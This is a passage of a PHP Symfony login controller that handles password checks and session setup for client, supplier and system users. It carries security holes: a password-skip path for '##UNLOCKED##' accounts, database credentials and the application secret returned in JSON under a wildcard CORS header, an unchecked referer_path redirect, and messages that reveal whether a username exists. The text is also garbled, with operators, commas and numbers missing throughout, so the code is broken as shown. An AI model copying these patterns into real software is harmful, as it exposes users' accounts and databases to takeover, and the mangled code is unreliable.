  4377. //                        if($systemType=='_BUDDYBEE_')
  4378. //                            $redirect_login_page_twig="@Authentication/pages/views/applicant_login.html.twig";
  4379.                         if (!$user) {
  4380.                             $message "We could not find your username or email";
  4381.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4382.                                 return new JsonResponse(array(
  4383.                                     'uid' => $session->get(UserConstants::USER_ID),
  4384.                                     'session' => $session,
  4385.                                     'success' => false,
  4386.                                     'errorStr' => $message,
  4387.                                     'session_data' => [],
  4388.                                 ));
  4389.                             }
  4390.                             if ($systemType == '_BUDDYBEE_')
  4391.                                 return $this->redirectToRoute("applicant_login", [
  4392.                                     "message" => $message,
  4393.                                     "errorField" => 'username',
  4394.                                 ]);
  4395.                             else if ($systemType == '_CENTRAL_')
  4396.                                 return $this->redirectToRoute("central_login", [
  4397.                                     "message" => $message,
  4398.                                     "errorField" => 'username',
  4399.                                 ]);
  4400.                             else if ($systemType == '_SOPHIA_')
  4401.                                 return $this->redirectToRoute("sophia_login", [
  4402.                                     "message" => $message,
  4403.                                     "errorField" => 'username',
  4404.                                 ]);
  4405.                             else
  4406.                                 return $this->render($redirect_login_page_twig, array(
  4407.                                     "message" => $message,
  4408.                                     'page_title' => "Login",
  4409.                                     'gocList' => $gocDataList,
  4410.                                     'gocId' => $gocId
  4411.                                 ));
  4412.                         }
  4413.                         if ($user) {
  4414.                             if ($oAuthData) {
  4415.                                 // user passed
  4416.                             } else {
  4417.                                 if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  4418.                                 } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  4419. //                                    if ($user->getPassword() == $request->request->get('password')) {
  4420. //                                        // user passed
  4421. //                                    } else {
  4422.                                     $message "Oops! Wrong Password";
  4423.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'0)) == 1) {
  4424.                                         return new JsonResponse(array(
  4425.                                             'uid' => $session->get(UserConstants::USER_ID),
  4426.                                             'session' => $session,
  4427.                                             'success' => false,
  4428.                                             'errorStr' => $message,
  4429.                                             'session_data' => [],
  4430.                                         ));
  4431.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4432.                                         //                    return $response;
  4433.                                     }
  4434.                                     if ($systemType == '_BUDDYBEE_')
  4435.                                         return $this->redirectToRoute("applicant_login", [
  4436.                                             "message" => $message,
  4437.                                             "errorField" => 'password',
  4438.                                         ]);
  4439.                                     else if ($systemType == '_SOPHIA_')
  4440.                                         return $this->redirectToRoute("sophia_login", [
  4441.                                             "message" => $message,
  4442.                                             "errorField" => 'username',
  4443.                                         ]);
  4444.                                     else if ($systemType == '_CENTRAL_')
  4445.                                         return $this->redirectToRoute("central_login", [
  4446.                                             "message" => $message,
  4447.                                             "errorField" => 'username',
  4448.                                         ]);
  4449.                                     else
  4450.                                         return $this->render($redirect_login_page_twig, array(
  4451.                                             "message" => $message,
  4452.                                             'page_title' => "Login",
  4453.                                             'gocList' => $gocDataList,
  4454.                                             'gocId' => $gocId
  4455.                                         ));
  4456.                                 }
  4457.                             }
  4458.                         }
  4459.                         $jd = [];
  4460.                         if ($jd != null && $jd != '' && $jd != [])
  4461.                             $company_id_list $jd;
  4462.                         else
  4463.                             $company_id_list = [];
  4464. //                        $companyList = Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4465. //                        foreach ($company_id_list as $c) {
  4466. //                            $company_name_list[$c] = $companyList[$c]['name'];
  4467. //                            $company_image_list[$c] = $companyList[$c]['image'];
  4468. //                        }
  4469.                     };
  4470.                 } else {
  4471.                     if ($cookieLogin == 1) {
  4472.                         $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4473.                             array(
  4474.                                 'userId' => $userId
  4475.                             )
  4476.                         );
  4477.                     } else if ($encrypedLogin == 1) {
  4478.                         if (in_array($userType, [34]))
  4479.                             $specialLogin 1;
  4480.                         if ($userType == UserConstants::USER_TYPE_CLIENT) {
  4481.                             $user null;
  4482.                             if ($clientId 0) {
  4483.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  4484.                                     array(
  4485.                                         'clientId' => $clientId
  4486.                                     )
  4487.                                 );
  4488.                             }
  4489.                             if (!$user) {
  4490.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  4491.                                     array(
  4492.                                         'globalUserId' => $globalId
  4493.                                     )
  4494.                                 );
  4495.                             }
  4496. //
  4497.                             if ($user)
  4498.                                 $userId $user->getClientId();
  4499.                             $clientId $userId;
  4500.                         } else if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  4501.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccSuppliers')->findOneBy(
  4502.                                 array(
  4503.                                     'globalUserId' => $globalId
  4504.                                 )
  4505.                             );
  4506. //
  4507.                             if ($user)
  4508.                                 $userId $user->getSupplierId();
  4509.                             $supplierId $userId;
  4510.                         } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  4511. //                            $user = $em_goc->getRepository('CompanyGroupBundle\\Entity\\SysUser')->findOneBy(
  4512. //                                array(
  4513. //                                    'globalId' => $globalId
  4514. //                                )
  4515. //                            );
  4516. //
  4517. //                            if($user)
  4518. //                                $userId=$user->getUserId();
  4519. //                            $applicantId = $userId;
  4520.                         } else if ($userType == UserConstants::USER_TYPE_GENERAL || $userType == UserConstants::USER_TYPE_SYSTEM) {
  4521.                             $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4522.                                 array(
  4523.                                     'globalId' => $globalId
  4524.                                 )
  4525.                             );
  4526.                             if ($user)
  4527.                                 $userId $user->getUserId();
  4528.                         }
  4529.                     } else {
  4530.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4531.                             array(
  4532.                                 'userName' => $request->request->get('username')
  4533.                             )
  4534.                         );
  4535.                     }
  4536.                     if (!$user) {
  4537.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4538.                             array(
  4539.                                 'email' => $request->request->get('username'),
  4540.                                 'userName' => [null'']
  4541.                             )
  4542.                         );
  4543.                         if (!$user) {
  4544.                             $message "Wrong User Name";
  4545.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4546.                                 return new JsonResponse(array(
  4547.                                     'uid' => $session->get(UserConstants::USER_ID),
  4548.                                     'session' => $session,
  4549.                                     'success' => false,
  4550.                                     'errorStr' => $message,
  4551.                                     'session_data' => [],
  4552.                                 ));
  4553.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4554.                                 //                    return $response;
  4555.                             }
  4556.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4557.                                 "message" => $message,
  4558.                                 'page_title' => "Login",
  4559.                                 'gocList' => $gocDataList,
  4560.                                 'gocId' => $gocId
  4561.                             ));
  4562.                         } else {
  4563.                             //add the email as username as failsafe
  4564.                             $user->setUserName($request->request->get('username'));
  4565.                             $em->flush();
  4566.                         }
  4567.                     }
  4568.                     if ($user) {
  4569.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  4570.                             $message "Sorry, Your Account is Deactivated";
  4571.                             if ($request->request->get('remoteVerify'$request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify))) == 1) {
  4572.                                 return new JsonResponse(array(
  4573.                                     'uid' => $session->get(UserConstants::USER_ID),
  4574.                                     'session' => $session,
  4575.                                     'success' => false,
  4576.                                     'errorStr' => $message,
  4577.                                     'session_data' => [],
  4578.                                 ));
  4579.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4580.                                 //                    return $response;
  4581.                             }
  4582.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4583.                                 "message" => $message,
  4584.                                 'page_title' => "Login",
  4585.                                 'gocList' => $gocDataList,
  4586.                                 'gocId' => $gocId
  4587.                             ));
  4588.                         }
  4589.                     }
  4590.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  4591.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  4592.                         $message "Wrong Email/Password";
  4593.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4594.                             return new JsonResponse(array(
  4595.                                 'uid' => $session->get(UserConstants::USER_ID),
  4596.                                 'session' => $session,
  4597.                                 'success' => false,
  4598.                                 'errorStr' => $message,
  4599.                                 'session_data' => [],
  4600.                             ));
  4601.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4602.                             //                    return $response;
  4603.                         }
  4604.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4605.                             "message" => $message,
  4606.                             'page_title' => "Login",
  4607.                             'gocList' => $gocDataList,
  4608.                             'gocId' => $gocId
  4609.                         ));
  4610.                     }
  4611.                     $userType $user->getUserType();
  4612.                     $jd json_decode($user->getUserCompanyIdList(), true);
  4613.                     if ($jd != null && $jd != '' && $jd != [])
  4614.                         $company_id_list $jd;
  4615.                     else
  4616.                         $company_id_list = [$user->getUserCompanyId()];
  4617.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4618.                     foreach ($company_id_list as $c) {
  4619.                         if (isset($companyList[$c])) {
  4620.                             $company_name_list[$c] = $companyList[$c]['name'];
  4621.                             $company_image_list[$c] = $companyList[$c]['image'];
  4622.                             $company_dark_vibrant_list[$c] = $companyList[$c]['dark_vibrant'];
  4623.                             $company_light_vibrant_list[$c] = $companyList[$c]['light_vibrant'];
  4624.                             $company_vibrant_list[$c] = $companyList[$c]['vibrant'];
  4625.                         }
  4626.                     }
  4627.                 }
  4628. //                $data["email"] = $request->request->get('username') ? $request->request->get('username') : $oAuthData['email'];
  4629.                 if ($remember_me == 1)
  4630.                     $session->set('REMEMBERME'1);
  4631.                 else
  4632.                     $session->set('REMEMBERME'0);
  4633.                 $config = array(
  4634.                     'firstLogin' => $firstLogin,
  4635.                     'rememberMe' => $remember_me,
  4636.                     'notificationEnabled' => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4637.                     'notificationServer' => $this->getParameter('notification_server') == '' GeneralConstant::NOTIFICATION_SERVER $this->getParameter('notification_server'),
  4638.                     'applicationSecret' => $this->container->getParameter('secret'),
  4639.                     'gocId' => $gocId,
  4640.                     'appId' => $appIdFromUserName,
  4641.                     'gocDbName' => $gocDbName,
  4642.                     'gocDbUser' => $gocDbUser,
  4643.                     'gocDbHost' => $gocDbHost,
  4644.                     'gocDbPass' => $gocDbPass
  4645.                 );
  4646.                 $product_name_display_type 0;
  4647.                 if ($systemType != '_CENTRAL_') {
  4648.                     $product_name_display_settings $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSettings')->findOneBy(array(
  4649.                         'name' => 'product_name_display_method'
  4650.                     ));
  4651.                     if ($product_name_display_settings)
  4652.                         $product_name_display_type $product_name_display_settings->getData();
  4653.                 }
  4654.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  4655.                     $userCompanyId 1;
  4656.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4657.                     if (isset($companyList[$userCompanyId])) {
  4658.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4659.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4660.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4661.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4662.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4663.                     }
  4664.                     // General User
  4665.                     $session->set(UserConstants::USER_ID$user->getSupplierId());
  4666.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4667.                     $session->set(UserConstants::SUPPLIER_ID$user->getSupplierId());
  4668.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_SUPPLIER);
  4669.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4670.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4671.                     $session->set(UserConstants::USER_NAME$user->getSupplierName());
  4672.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  4673.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  4674.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4675.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4676.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4677.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4678.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4679.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4680.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4681.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  4682.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  4683.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  4684.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4685.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  4686.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4687.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4688.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4689.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4690.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4691.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4692.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  4693.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  4694.                     //                $PL=json_decode($user->getPositionIds(), true);
  4695.                     $route_list_array = [];
  4696.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  4697.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  4698.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4699.                     $loginID 0;
  4700.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  4701.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  4702.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4703.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4704.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4705.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4706.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4707.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  4708.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4709.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4710.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  4711.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4712.                         $session->set('remoteVerified'1);
  4713.                         $session_data = array(
  4714.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  4715.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4716.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4717.                             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  4718.                             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  4719.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  4720.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  4721.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  4722.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  4723.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  4724.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  4725.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  4726.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  4727.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  4728.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  4729.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4730.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4731.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4732.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  4733.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  4734.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  4735.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  4736.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  4737.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  4738.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  4739.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  4740.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  4741.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  4742.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  4743.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  4744.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4745.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4746.                         );
  4747.                         $session_data $this->filterClientSessionData($session_data);
  4748.                         $response = new JsonResponse(array(
  4749.                             'uid' => $session->get(UserConstants::USER_ID),
  4750.                             'session' => $session,
  4751.                             'success' => true,
  4752.                             'session_data' => $session_data,
  4753.                         ));
  4754.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4755.                         return $response;
  4756.                     }
  4757.                     if ($request->request->has('referer_path')) {
  4758.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4759.                             return $this->redirect($request->request->get('referer_path'));
  4760.                         }
  4761.                     }
  4762.                     //                    if($request->request->has('gocId')
  4763.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  4764.                     return $this->redirectToRoute("supplier_dashboard");
  4765.                     //                    else
  4766.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  4767.                 }
  4768.                 if ($userType == UserConstants::USER_TYPE_CLIENT) {
  4769.                     // General User
  4770.                     $userCompanyId 1;
  4771.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4772.                     if (isset($companyList[$userCompanyId])) {
  4773.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4774.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4775.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4776.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4777.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4778.                     }
  4779.                     $session->set(UserConstants::USER_ID$user->getClientId());
  4780.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4781.                     $session->set(UserConstants::CLIENT_ID$user->getClientId());
  4782.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_CLIENT);
  4783.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4784.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4785.                     $session->set(UserConstants::USER_NAME$user->getClientName());
  4786.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  4787.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  4788.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4789.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4790.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4791.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4792.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4793.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4794.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  4795.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  4796.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  4797.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4798.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  4799.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4800.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4801.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4802.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4803.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4804.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4805.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  4806.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  4807.                     //                $PL=json_decode($user->getPositionIds(), true);
  4808.                     $route_list_array = [];
  4809.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  4810.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  4811.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4812.                     $loginID 0;
  4813.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  4814.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  4815.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4816.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4817.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4818.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4819.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4820.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  4821.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4822.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4823.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  4824.                     $session_data = array(
  4825.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  4826.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4827.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4828.                         UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  4829.                         UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  4830.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  4831.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  4832.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  4833.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  4834.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  4835.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  4836.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  4837.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  4838.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  4839.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  4840.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  4841.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  4842.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  4843.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  4844.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  4845.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4846.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4847.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4848.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  4849.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  4850.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  4851.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  4852.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  4853.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  4854.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  4855.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4856.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4857.                     );
  4858.                     $session_data $this->filterClientSessionData($session_data);
  4859.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  4860.                     $session_data $tokenData['sessionData'];
  4861.                     $token $tokenData['token'];
  4862.                     $session->set('token'$token);
  4863.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4864.                         $session->set('remoteVerified'1);
  4865.                         $response = new JsonResponse(array(
  4866.                             'uid' => $session->get(UserConstants::USER_ID),
  4867.                             'session' => $session,
  4868.                             'token' => $token,
  4869.                             'success' => true,
  4870.                             'session_data' => $session_data,
  4871.                         ));
  4872.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4873.                         return $response;
  4874.                     }
  4875.                     if ($request->request->has('referer_path')) {
  4876.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4877.                             return $this->redirect($request->request->get('referer_path'));
  4878.                         }
  4879.                     }
  4880.                     //                    if($request->request->has('gocId')
  4881.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  4882.                     return $this->redirectToRoute("client_dashboard"); //will be client
  4883.                     //                    else
  4884.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  4885.                 } else if ($userType == UserConstants::USER_TYPE_SYSTEM) {
  4886.                     // System administrator
  4887.                     // System administrator have successfully logged in. Lets add a login ID.
  4888.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  4889.                         ->findOneBy(
  4890.                             array(
  4891.                                 'userId' => $user->getUserId()
  4892.                             )
  4893.                         );
  4894.                     if ($employeeObj) {
  4895.                         $employeeId $employeeObj->getEmployeeId();
  4896.                         $epositionId $employeeObj->getPositionId();
  4897.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  4898.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  4899.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  4900.                     }
  4901.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  4902.                         ->findOneBy(
  4903.                             array(
  4904.                                 'userId' => $user->getUserId(),
  4905.                                 'workingStatus' => 1
  4906.                             )
  4907.                         );
  4908.                     if ($currentTask) {
  4909.                         $currentTaskId $currentTask->getId();
  4910.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  4911.                     }
  4912.                     $userId $user->getUserId();
  4913.                     $userCompanyId 1;
  4914.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  4915.                     $userEmail $user->getEmail();
  4916.                     $userImage $user->getImage();
  4917.                     $userFullName $user->getName();
